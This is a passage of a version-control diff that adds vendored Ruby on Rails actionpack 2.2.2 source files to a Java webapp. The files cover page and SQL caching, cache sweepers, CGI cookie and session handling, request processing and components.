+    #
+    # Additionally, you can expire caches using Sweepers that act on changes in the model to determine when a cache is supposed to be
+    # expired.
+    #
+    # == Setting the cache directory
+    #
+    # The cache directory should be the document root for the web server and is set using <tt>Base.page_cache_directory = "/document/root"</tt>.
+    # For Rails, this directory has already been set to Rails.public_path (which is usually set to <tt>RAILS_ROOT + "/public"</tt>). Changing
+    # this setting can be useful to avoid naming conflicts with files in <tt>public/</tt>, but doing so will likely require configuring your
+    # web server to look in the new location for cached files.
+    #
+    # == Setting the cache extension
+    #
+    # Most Rails requests do not have an extension, such as <tt>/weblog/new</tt>. In these cases, the page caching mechanism will add one in
+    # order to make it easy for the cached files to be picked up properly by the web server. By default, this cache extension is <tt>.html</tt>.
+    # If you want something else, like <tt>.php</tt> or <tt>.shtml</tt>, just set Base.page_cache_extension. In cases where a request already has an
+    # extension, such as <tt>.xml</tt> or <tt>.rss</tt>, page caching will not add an extension. This allows it to work well with RESTful apps.
+    module Pages
+      def self.included(base) #:nodoc:
+        base.extend(ClassMethods)
+        base.class_eval do
+          @@page_cache_directory = defined?(Rails.public_path) ? Rails.public_path : ""
+          cattr_accessor :page_cache_directory
+
+          @@page_cache_extension = '.html'
+          cattr_accessor :page_cache_extension
+        end
+      end
+
+      module ClassMethods
+        # Expires the page that was cached with the +path+ as a key. Example:
+        #   expire_page "/lists/show"
+        def expire_page(path)
+          return unless perform_caching
+
+          benchmark "Expired page: #{page_cache_file(path)}" do
+            File.delete(page_cache_path(path)) if File.exist?(page_cache_path(path))
+          end
+        end
+
+        # Manually cache the +content+ in the key determined by +path+. Example:
+        #   cache_page "I'm the cached content", "/lists/show"
+        def cache_page(content, path)
+          return unless perform_caching
+
+          benchmark "Cached page: #{page_cache_file(path)}" do
+            FileUtils.makedirs(File.dirname(page_cache_path(path)))
+            File.open(page_cache_path(path), "wb+") { |f| f.write(content) }
+          end
+        end
+
+        # Caches the +actions+ using the page-caching approach that'll store the cache in a path within the page_cache_directory that
+        # matches the triggering url.
+        #
+        # Usage:
+        #
+        #   # cache the index action
+        #   caches_page :index
+        #
+        #   # cache the index action except for JSON requests
+        #   caches_page :index, :if => Proc.new { |c| !c.request.format.json? }
+        def caches_page(*actions)
+          return unless perform_caching
+          options = actions.extract_options!
+          after_filter({:only => actions}.merge(options)) { |c| c.cache_page }
+        end
+
+        private
+          def page_cache_file(path)
+            name = (path.empty? || path == "/") ? "/index" : URI.unescape(path.chomp('/'))
+            name << page_cache_extension unless (name.split('/').last || name).include? '.'
+            return name
+          end
+
+          def page_cache_path(path)
+            page_cache_directory + page_cache_file(path)
+          end
+      end
+
+      # Expires the page that was cached with the +options+ as a key. Example:
+      #   expire_page :controller => "lists", :action => "show"
+      def expire_page(options = {})
+        return unless perform_caching
+
+        if options.is_a?(Hash)
+          if options[:action].is_a?(Array)
+            options[:action].dup.each do |action|
+              self.class.expire_page(url_for(options.merge(:only_path => true, :skip_relative_url_root => true, :action => action)))
+            end
+          else
+            self.class.expire_page(url_for(options.merge(:only_path => true, :skip_relative_url_root => true)))
+          end
+        else
+          self.class.expire_page(options)
+        end
+      end
+
+      # Manually cache the +content+ in the key determined by +options+. If no content is provided, the contents of response.body is used
+      # If no options are provided, the requested url is used. Example:
+      #   cache_page "I'm the cached content", :controller => "lists", :action => "show"
+      def cache_page(content = nil, options = nil)
+        return unless perform_caching && caching_allowed
+
+        path = case options
+          when Hash
+            url_for(options.merge(:only_path => true, :skip_relative_url_root => true, :format => params[:format]))
+          when String
+            options
+          else
+            request.path
+        end
+
+        self.class.cache_page(content || response.body, path)
+      end
+
+      private
+        def caching_allowed
+          request.get? && response.headers['Status'].to_i == 200
+        end
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching/sql_cache.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching/sql_cache.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching/sql_cache.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+module ActionController #:nodoc:
+  module Caching
+    module SqlCache
+      def self.included(base) #:nodoc:
+        if defined?(ActiveRecord) && ActiveRecord::Base.respond_to?(:cache)
+          base.alias_method_chain :perform_action, :caching
+        end
+      end
+
+      protected
+        def perform_action_with_caching
+          ActiveRecord::Base.cache do
+            perform_action_without_caching
+          end
+        end
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching/sweeping.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching/sweeping.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching/sweeping.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,97 @@
+module ActionController #:nodoc:
+  module Caching
+    # Sweepers are the terminators of the caching world and responsible for expiring caches when model objects change.
+    # They do this by being half-observers, half-filters and implementing callbacks for both roles. A Sweeper example:
+    #
+    #   class ListSweeper < ActionController::Caching::Sweeper
+    #     observe List, Item
+    #
+    #     def after_save(record)
+    #       list = record.is_a?(List) ? record : record.list
+    #       expire_page(:controller => "lists", :action => %w( show public feed ), :id => list.id)
+    #       expire_action(:controller => "lists", :action => "all")
+    #       list.shares.each { |share| expire_page(:controller => "lists", :action => "show", :id => share.url_key) }
+    #     end
+    #   end
+    #
+    # The sweeper is assigned in the controllers that wish to have its job performed using the <tt>cache_sweeper</tt> class method:
+    #
+    #   class ListsController < ApplicationController
+    #     caches_action :index, :show, :public, :feed
+    #     cache_sweeper :list_sweeper, :only => [ :edit, :destroy, :share ]
+    #   end
+    #
+    # In the example above, four actions are cached and three actions are responsible for expiring those caches.
+    #
+    # You can also name an explicit class in the declaration of a sweeper, which is needed if the sweeper is in a module:
+    #
+    #   class ListsController < ApplicationController
+    #     caches_action :index, :show, :public, :feed
+    #     cache_sweeper OpenBar::Sweeper, :only => [ :edit, :destroy, :share ]
+    #   end
+    module Sweeping
+      def self.included(base) #:nodoc:
+        base.extend(ClassMethods)
+      end
+
+      module ClassMethods #:nodoc:
+        def cache_sweeper(*sweepers)
+          configuration = sweepers.extract_options!
+
+          sweepers.each do |sweeper|
+            ActiveRecord::Base.observers << sweeper if defined?(ActiveRecord) and defined?(ActiveRecord::Base)
+            sweeper_instance = (sweeper.is_a?(Symbol) ? Object.const_get(sweeper.to_s.classify) : sweeper).instance
+
+            if sweeper_instance.is_a?(Sweeper)
+              around_filter(sweeper_instance, :only => configuration[:only])
+            else
+              after_filter(sweeper_instance, :only => configuration[:only])
+            end
+          end
+        end
+      end
+    end
+
+    if defined?(ActiveRecord) and defined?(ActiveRecord::Observer)
+      class Sweeper < ActiveRecord::Observer #:nodoc:
+        attr_accessor :controller
+
+        def before(controller)
+          self.controller = controller
+          callback(:before) if controller.perform_caching
+        end
+
+        def after(controller)
+          callback(:after) if controller.perform_caching
+          # Clean up, so that the controller can be collected after this request
+          self.controller = nil
+        end
+
+        protected
+          # gets the action cache path for the given options.
+          def action_path_for(options)
+            ActionController::Caching::Actions::ActionCachePath.path_for(controller, options)
+          end
+
+          # Retrieve instance variables set in the controller.
+          def assigns(key)
+            controller.instance_variable_get("@#{key}")
+          end
+
+        private
+          def callback(timing)
+            controller_callback_method_name = "#{timing}_#{controller.controller_name.underscore}"
+            action_callback_method_name     = "#{controller_callback_method_name}_#{controller.action_name}"
+
+            __send__(controller_callback_method_name) if respond_to?(controller_callback_method_name, true)
+            __send__(action_callback_method_name)     if respond_to?(action_callback_method_name, true)
+          end
+
+          def method_missing(method, *arguments)
+            return if @controller.nil?
+            @controller.__send__(method, *arguments)
+          end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,72 @@
+require 'fileutils'
+require 'uri'
+require 'set'
+
+require 'action_controller/caching/pages'
+require 'action_controller/caching/actions'
+require 'action_controller/caching/sql_cache'
+require 'action_controller/caching/sweeping'
+require 'action_controller/caching/fragments'
+
+
+module ActionController #:nodoc:
+  # Caching is a cheap way of speeding up slow applications by keeping the result of calculations, renderings, and database calls
+  # around for subsequent requests. Action Controller affords you three approaches in varying levels of granularity: Page, Action, Fragment.
+  #
+  # You can read more about each approach and the sweeping assistance by clicking the modules below.
+  #
+  # Note: To turn off all caching and sweeping, set Base.perform_caching = false.
+  #
+  #
+  # == Caching stores
+  #
+  # All the caching stores from ActiveSupport::Cache is available to be used as backends for Action Controller caching. This setting only
+  # affects action and fragment caching as page caching is always written to disk.
+  #
+  # Configuration examples (MemoryStore is the default):
+  #
+  #   ActionController::Base.cache_store = :memory_store
+  #   ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
+  #   ActionController::Base.cache_store = :drb_store, "druby://localhost:9192"
+  #   ActionController::Base.cache_store = :mem_cache_store, "localhost"
+  #   ActionController::Base.cache_store = MyOwnStore.new("parameter")
+  module Caching
+    def self.included(base) #:nodoc:
+      base.class_eval do
+        @@cache_store = nil
+        cattr_reader :cache_store
+
+        # Defines the storage option for cached fragments
+        def self.cache_store=(store_option)
+          @@cache_store = ActiveSupport::Cache.lookup_store(store_option)
+        end
+
+        include Pages, Actions, Fragments
+        include Sweeping, SqlCache if defined?(ActiveRecord)
+
+        @@perform_caching = true
+        cattr_accessor :perform_caching
+
+        def self.cache_configured?
+          perform_caching && cache_store
+        end
+      end
+    end
+
+    protected
+      # Convenience accessor
+      def cache(key, options = {}, &block)
+        if cache_configured?
+          cache_store.fetch(ActiveSupport::Cache.expand_cache_key(key, :controller), options, &block)
+        else
+          yield
+        end
+      end
+
+
+    private    
+      def cache_configured?
+        self.class.cache_configured?
+      end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext/cookie.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext/cookie.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext/cookie.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,110 @@
+CGI.module_eval { remove_const "Cookie" }
+
+# TODO: document how this differs from stdlib CGI::Cookie
+class CGI #:nodoc:
+  class Cookie < DelegateClass(Array)
+    attr_accessor :name, :value, :path, :domain, :expires
+    attr_reader :secure, :http_only
+
+    # Creates a new CGI::Cookie object.
+    #
+    # The contents of the cookie can be specified as a +name+ and one
+    # or more +value+ arguments.  Alternatively, the contents can
+    # be specified as a single hash argument.  The possible keywords of
+    # this hash are as follows:
+    #
+    # * <tt>:name</tt> - The name of the cookie.  Required.
+    # * <tt>:value</tt> - The cookie's value or list of values.
+    # * <tt>:path</tt> - The path for which this cookie applies.  Defaults to the
+    #   base directory of the CGI script.
+    # * <tt>:domain</tt> - The domain for which this cookie applies.
+    # * <tt>:expires</tt> - The time at which this cookie expires, as a Time object.
+    # * <tt>:secure</tt> - Whether this cookie is a secure cookie or not (defaults to
+    #   +false+). Secure cookies are only transmitted to HTTPS servers.
+    # * <tt>:http_only</tt> - Whether this cookie can be accessed by client side scripts (e.g. document.cookie) or only over HTTP.
+    #   More details in http://msdn2.microsoft.com/en-us/library/system.web.httpcookie.httponly.aspx. Defaults to +false+. 
+    #
+    # These keywords correspond to attributes of the cookie object.
+    def initialize(name = '', *value)
+      if name.kind_of?(String)
+        @name = name
+        @value = Array(value)
+        @domain = nil
+        @expires = nil
+        @secure = false
+        @http_only = false
+        @path = nil
+      else
+        @name = name['name']
+        @value = (name['value'].kind_of?(String) ? [name['value']] : Array(name['value'])).delete_if(&:blank?)
+        @domain = name['domain']
+        @expires = name['expires']
+        @secure = name['secure'] || false
+        @http_only = name['http_only'] || false
+        @path = name['path']
+      end
+
+      raise ArgumentError, "`name' required" unless @name
+
+      # simple support for IE
+      unless @path
+        %r|^(.*/)|.match(ENV['SCRIPT_NAME'])
+        @path = ($1 or '')
+      end
+
+      super(@value)
+    end
+
+    # Sets whether the Cookie is a secure cookie or not.
+    def secure=(val)
+      @secure = val == true
+    end
+
+    # Sets whether the Cookie is an HTTP only cookie or not.
+    def http_only=(val)
+      @http_only = val == true
+    end
+
+    # Converts the Cookie to its string representation.
+    def to_s
+      buf = ''
+      buf << @name << '='
+      buf << (@value.kind_of?(String) ? CGI::escape(@value) : @value.collect{|v| CGI::escape(v) }.join("&"))
+      buf << '; domain=' << @domain if @domain
+      buf << '; path=' << @path if @path
+      buf << '; expires=' << CGI::rfc1123_date(@expires) if @expires
+      buf << '; secure' if @secure
+      buf << '; HttpOnly' if @http_only
+      buf
+    end
+
+    # FIXME: work around broken 1.8.7 DelegateClass#respond_to?
+    def respond_to?(method, include_private = false)
+      return true if super(method)
+      return __getobj__.respond_to?(method, include_private)
+    end
+
+    # Parses a raw cookie string into a hash of <tt>cookie-name => cookie-object</tt>
+    # pairs.
+    #
+    #   cookies = CGI::Cookie::parse("raw_cookie_string")
+    #     # => { "name1" => cookie1, "name2" => cookie2, ... }
+    #
+    def self.parse(raw_cookie)
+      cookies = Hash.new([])
+
+      if raw_cookie
+        raw_cookie.split(/;\s?/).each do |pairs|
+          name, value = pairs.split('=',2)
+          next unless name and value
+          name = CGI::unescape(name)
+          unless cookies.has_key?(name)
+            cookies[name] = new(name, CGI::unescape(value))
+          end
+        end
+      end
+
+      cookies
+    end
+  end # class Cookie
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext/query_extension.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext/query_extension.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext/query_extension.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,22 @@
+require 'cgi'
+
+class CGI #:nodoc:
+  module QueryExtension
+    # Remove the old initialize_query method before redefining it.
+    remove_method :initialize_query
+
+    # Neuter CGI parameter parsing.
+    def initialize_query
+      # Fix some strange request environments.
+      env_table['REQUEST_METHOD'] ||= 'GET'
+
+      # POST assumes missing Content-Type is application/x-www-form-urlencoded.
+      if env_table['CONTENT_TYPE'].blank? && env_table['REQUEST_METHOD'] == 'POST'
+        env_table['CONTENT_TYPE'] = 'application/x-www-form-urlencoded'
+      end
+
+      @cookies = CGI::Cookie::parse(env_table['HTTP_COOKIE'] || env_table['COOKIE'])
+      @params = {}
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext/session.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext/session.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext/session.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,53 @@
+require 'digest/md5'
+require 'cgi/session'
+require 'cgi/session/pstore'
+
+class CGI #:nodoc:
+  # * Expose the CGI instance to session stores.
+  # * Don't require 'digest/md5' whenever a new session id is generated.
+  class Session #:nodoc:
+    def self.generate_unique_id(constant = nil)
+      ActiveSupport::SecureRandom.hex(16)
+    end
+
+    # Make the CGI instance available to session stores.
+    attr_reader :cgi
+    attr_reader :dbman
+    alias_method :initialize_without_cgi_reader, :initialize
+    def initialize(cgi, options = {})
+      @cgi = cgi
+      initialize_without_cgi_reader(cgi, options)
+    end
+
+    private
+      # Create a new session id.
+      def create_new_id
+        @new_session = true
+        self.class.generate_unique_id
+      end
+
+    # * Don't require 'digest/md5' whenever a new session is started.
+    class PStore #:nodoc:
+      def initialize(session, option={})
+        dir = option['tmpdir'] || Dir::tmpdir
+        prefix = option['prefix'] || ''
+        id = session.session_id
+        md5 = Digest::MD5.hexdigest(id)[0,16]
+        path = dir+"/"+prefix+md5
+        path.untaint
+        if File::exist?(path)
+          @hash = nil
+        else
+          unless session.new_session
+            raise CGI::Session::NoSession, "uninitialized session"
+          end
+          @hash = {}
+        end
+        @p = ::PStore.new(path)
+        @p.transaction do |p|
+          File.chmod(0600, p.path)
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext/stdinput.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext/stdinput.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext/stdinput.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+require 'cgi'
+
+module ActionController
+  module CgiExt
+    # Publicize the CGI's internal input stream so we can lazy-read
+    # request.body. Make it writable so we don't have to play $stdin games.
+    module Stdinput
+      def self.included(base)
+        base.class_eval do
+          remove_method :stdinput
+          attr_accessor :stdinput
+        end
+
+        base.alias_method_chain :initialize, :stdinput
+      end
+
+      def initialize_with_stdinput(type = nil, stdinput = $stdin)
+        @stdinput = stdinput
+        @stdinput.set_encoding(Encoding::BINARY) if @stdinput.respond_to?(:set_encoding)
+        initialize_without_stdinput(type || 'query')
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,16 @@
+require 'action_controller/cgi_ext/stdinput'
+require 'action_controller/cgi_ext/query_extension'
+require 'action_controller/cgi_ext/cookie'
+require 'action_controller/cgi_ext/session'
+
+class CGI #:nodoc:
+  include ActionController::CgiExt::Stdinput
+
+  class << self
+    alias :escapeHTML_fail_on_nil :escapeHTML
+
+    def escapeHTML(string)
+      escapeHTML_fail_on_nil(string) unless string.nil?
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_process.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_process.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_process.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,185 @@
+require 'action_controller/cgi_ext'
+require 'action_controller/session/cookie_store'
+
+module ActionController #:nodoc:
+  class Base
+    # Process a request extracted from a CGI object and return a response. Pass false as <tt>session_options</tt> to disable
+    # sessions (large performance increase if sessions are not needed). The <tt>session_options</tt> are the same as for CGI::Session:
+    #
+    # * <tt>:database_manager</tt> - standard options are CGI::Session::FileStore, CGI::Session::MemoryStore, and CGI::Session::PStore
+    #   (default). Additionally, there is CGI::Session::DRbStore and CGI::Session::ActiveRecordStore. Read more about these in
+    #   lib/action_controller/session.
+    # * <tt>:session_key</tt> - the parameter name used for the session id. Defaults to '_session_id'.
+    # * <tt>:session_id</tt> - the session id to use.  If not provided, then it is retrieved from the +session_key+ cookie, or 
+    #   automatically generated for a new session.
+    # * <tt>:new_session</tt> - if true, force creation of a new session.  If not set, a new session is only created if none currently
+    #   exists.  If false, a new session is never created, and if none currently exists and the +session_id+ option is not set,
+    #   an ArgumentError is raised.
+    # * <tt>:session_expires</tt> - the time the current session expires, as a Time object.  If not set, the session will continue
+    #   indefinitely.
+    # * <tt>:session_domain</tt> - the hostname domain for which this session is valid. If not set, defaults to the hostname of the
+    #   server.
+    # * <tt>:session_secure</tt> - if +true+, this session will only work over HTTPS.
+    # * <tt>:session_path</tt> - the path for which this session applies.  Defaults to the directory of the CGI script.
+    # * <tt>:cookie_only</tt> - if +true+ (the default), session IDs will only be accepted from cookies and not from
+    #   the query string or POST parameters. This protects against session fixation attacks.
+    def self.process_cgi(cgi = CGI.new, session_options = {})
+      new.process_cgi(cgi, session_options)
+    end
+
+    def process_cgi(cgi, session_options = {}) #:nodoc:
+      process(CgiRequest.new(cgi, session_options), CgiResponse.new(cgi)).out
+    end
+  end
+
+  class CgiRequest < AbstractRequest #:nodoc:
+    attr_accessor :cgi, :session_options
+    class SessionFixationAttempt < StandardError #:nodoc:
+    end
+
+    DEFAULT_SESSION_OPTIONS = {
+      :database_manager => CGI::Session::CookieStore, # store data in cookie
+      :prefix           => "ruby_sess.",    # prefix session file names
+      :session_path     => "/",             # available to all paths in app
+      :session_key      => "_session_id",
+      :cookie_only      => true,
+      :session_http_only=> true
+    }
+
+    def initialize(cgi, session_options = {})
+      @cgi = cgi
+      @session_options = session_options
+      @env = @cgi.__send__(:env_table)
+      super()
+    end
+
+    def query_string
+      qs = @cgi.query_string if @cgi.respond_to?(:query_string)
+      if !qs.blank?
+        qs
+      else
+        super
+      end
+    end
+
+    def body_stream #:nodoc:
+      @cgi.stdinput
+    end
+
+    def cookies
+      @cgi.cookies.freeze
+    end
+
+    def session
+      unless defined?(@session)
+        if @session_options == false
+          @session = Hash.new
+        else
+          stale_session_check! do
+            if cookie_only? && query_parameters[session_options_with_string_keys['session_key']]
+              raise SessionFixationAttempt
+            end
+            case value = session_options_with_string_keys['new_session']
+              when true
+                @session = new_session
+              when false
+                begin
+                  @session = CGI::Session.new(@cgi, session_options_with_string_keys)
+                # CGI::Session raises ArgumentError if 'new_session' == false
+                # and no session cookie or query param is present.
+                rescue ArgumentError
+                  @session = Hash.new
+                end
+              when nil
+                @session = CGI::Session.new(@cgi, session_options_with_string_keys)
+              else
+                raise ArgumentError, "Invalid new_session option: #{value}"
+            end
+            @session['__valid_session']
+          end
+        end
+      end
+      @session
+    end
+
+    def reset_session
+      @session.delete if defined?(@session) && @session.is_a?(CGI::Session)
+      @session = new_session
+    end
+
+    def method_missing(method_id, *arguments)
+      @cgi.__send__(method_id, *arguments) rescue super
+    end
+
+    private
+      # Delete an old session if it exists then create a new one.
+      def new_session
+        if @session_options == false
+          Hash.new
+        else
+          CGI::Session.new(@cgi, session_options_with_string_keys.merge("new_session" => false)).delete rescue nil
+          CGI::Session.new(@cgi, session_options_with_string_keys.merge("new_session" => true))
+        end
+      end
+
+      def cookie_only?
+        session_options_with_string_keys['cookie_only']
+      end
+
+      def stale_session_check!
+        yield
+      rescue ArgumentError => argument_error
+        if argument_error.message =~ %r{undefined class/module ([\w:]*\w)}
+          begin
+            # Note that the regexp does not allow $1 to end with a ':'
+            $1.constantize
+          rescue LoadError, NameError => const_error
+            raise ActionController::SessionRestoreError, <<-end_msg
+Session contains objects whose class definition isn\'t available.
+Remember to require the classes for all objects kept in the session.
+(Original exception: #{const_error.message} [#{const_error.class}])
+end_msg
+          end
+
+          retry
+        else
+          raise
+        end
+      end
+
+      def session_options_with_string_keys
+        @session_options_with_string_keys ||= DEFAULT_SESSION_OPTIONS.merge(@session_options).stringify_keys
+      end
+  end
+
+  class CgiResponse < AbstractResponse #:nodoc:
+    def initialize(cgi)
+      @cgi = cgi
+      super()
+    end
+
+    def out(output = $stdout)
+      output.binmode      if output.respond_to?(:binmode)
+      output.sync = false if output.respond_to?(:sync=)
+
+      begin
+        output.write(@cgi.header(@headers))
+
+        if @cgi.__send__(:env_table)['REQUEST_METHOD'] == 'HEAD'
+          return
+        elsif @body.respond_to?(:call)
+          # Flush the output now in case the @body Proc uses
+          # #syswrite.
+          output.flush if output.respond_to?(:flush)
+          @body.call(self, output)
+        else
+          output.write(@body)
+        end
+
+        output.flush if output.respond_to?(:flush)
+      rescue Errno::EPIPE, Errno::ECONNRESET
+        # lost connection to parent process, ignore output
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/components.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/components.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/components.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,169 @@
+module ActionController #:nodoc:
+  # Components allow you to call other actions for their rendered response while executing another action. You can either delegate
+  # the entire response rendering or you can mix a partial response in with your other content.
+  #
+  #   class WeblogController < ActionController::Base
+  #     # Performs a method and then lets hello_world output its render
+  #     def delegate_action
+  #       do_other_stuff_before_hello_world
+  #       render_component :controller => "greeter",  :action => "hello_world", :params => { :person => "david" }
+  #     end
+  #   end
+  #
+  #   class GreeterController < ActionController::Base
+  #     def hello_world
+  #       render :text => "#{params[:person]} says, Hello World!"
+  #     end
+  #   end
+  #
+  # The same can be done in a view to do a partial rendering:
+  #
+  #   Let's see a greeting:
+  #   <%= render_component :controller => "greeter", :action => "hello_world" %>
+  #
+  # It is also possible to specify the controller as a class constant, bypassing the inflector
+  # code to compute the controller class at runtime:
+  #
+  # <%= render_component :controller => GreeterController, :action => "hello_world" %>
+  #
+  # == When to use components
+  #
+  # Components should be used with care. They're significantly slower than simply splitting reusable parts into partials and
+  # conceptually more complicated. Don't use components as a way of separating concerns inside a single application. Instead,
+  # reserve components to those rare cases where you truly have reusable view and controller elements that can be employed
+  # across many applications at once.
+  #
+  # So to repeat: Components are a special-purpose approach that can often be replaced with better use of partials and filters.
+  module Components
+    def self.included(base) #:nodoc:
+      base.class_eval do
+        include InstanceMethods
+        include ActiveSupport::Deprecation
+        extend ClassMethods
+        helper HelperMethods
+
+        # If this controller was instantiated to process a component request,
+        # +parent_controller+ points to the instantiator of this controller.
+        attr_accessor :parent_controller
+
+        alias_method_chain :process_cleanup, :components
+        alias_method_chain :set_session_options, :components
+        alias_method_chain :flash, :components
+
+        alias_method :component_request?, :parent_controller
+      end
+    end
+
+    module ClassMethods
+      # Track parent controller to identify component requests
+      def process_with_components(request, response, parent_controller = nil) #:nodoc:
+        controller = new
+        controller.parent_controller = parent_controller
+        controller.process(request, response)
+      end
+    end
+
+    module HelperMethods
+      def render_component(options)
+        @controller.__send__(:render_component_as_string, options)
+      end
+    end
+
+    module InstanceMethods
+      # Extracts the action_name from the request parameters and performs that action.
+      def process_with_components(request, response, method = :perform_action, *arguments) #:nodoc:
+        flash.discard if component_request?
+        process_without_components(request, response, method, *arguments)
+      end
+
+      protected
+        # Renders the component specified as the response for the current method
+        def render_component(options) #:doc:
+          component_logging(options) do
+            render_for_text(component_response(options, true).body, response.headers["Status"])
+          end
+        end
+        deprecate :render_component => "Please install render_component plugin from http://github.com/rails/render_component/tree/master"
+
+        # Returns the component response as a string
+        def render_component_as_string(options) #:doc:
+          component_logging(options) do
+            response = component_response(options, false)
+
+            if redirected = response.redirected_to
+              render_component_as_string(redirected)
+            else
+              response.body
+            end
+          end
+        end
+        deprecate :render_component_as_string => "Please install render_component plugin from http://github.com/rails/render_component/tree/master"
+
+        def flash_with_components(refresh = false) #:nodoc:
+          if !defined?(@_flash) || refresh
+            @_flash =
+              if defined?(@parent_controller)
+                @parent_controller.flash
+              else
+                flash_without_components
+              end
+          end
+          @_flash
+        end
+
+      private
+        def component_response(options, reuse_response)
+          klass    = component_class(options)
+          request  = request_for_component(klass.controller_name, options)
+          new_response = reuse_response ? response : response.dup
+
+          klass.process_with_components(request, new_response, self)
+        end
+
+        # determine the controller class for the component request
+        def component_class(options)
+          if controller = options[:controller]
+            controller.is_a?(Class) ? controller : "#{controller.camelize}Controller".constantize
+          else
+            self.class
+          end
+        end
+
+        # Create a new request object based on the current request.
+        # The new request inherits the session from the current request,
+        # bypassing any session options set for the component controller's class
+        def request_for_component(controller_name, options)
+          new_request         = request.dup
+          new_request.session = request.session
+
+          new_request.instance_variable_set(
+            :@parameters,
+            (options[:params] || {}).with_indifferent_access.update(
+              "controller" => controller_name, "action" => options[:action], "id" => options[:id]
+            )
+          )
+
+          new_request
+        end
+
+        def component_logging(options)
+          if logger
+            logger.info "Start rendering component (#{options.inspect}): "
+            result = yield
+            logger.info "\n\nEnd of component rendering"
+            result
+          else
+            yield
+          end
+        end
+
+        def set_session_options_with_components(request)
+          set_session_options_without_components(request) unless component_request?
+        end
+
+        def process_cleanup_with_components
+          process_cleanup_without_components unless component_request?
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cookies.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cookies.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cookies.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,106 @@
+module ActionController #:nodoc:
+  # Cookies are read and written through ActionController#cookies.
+  #
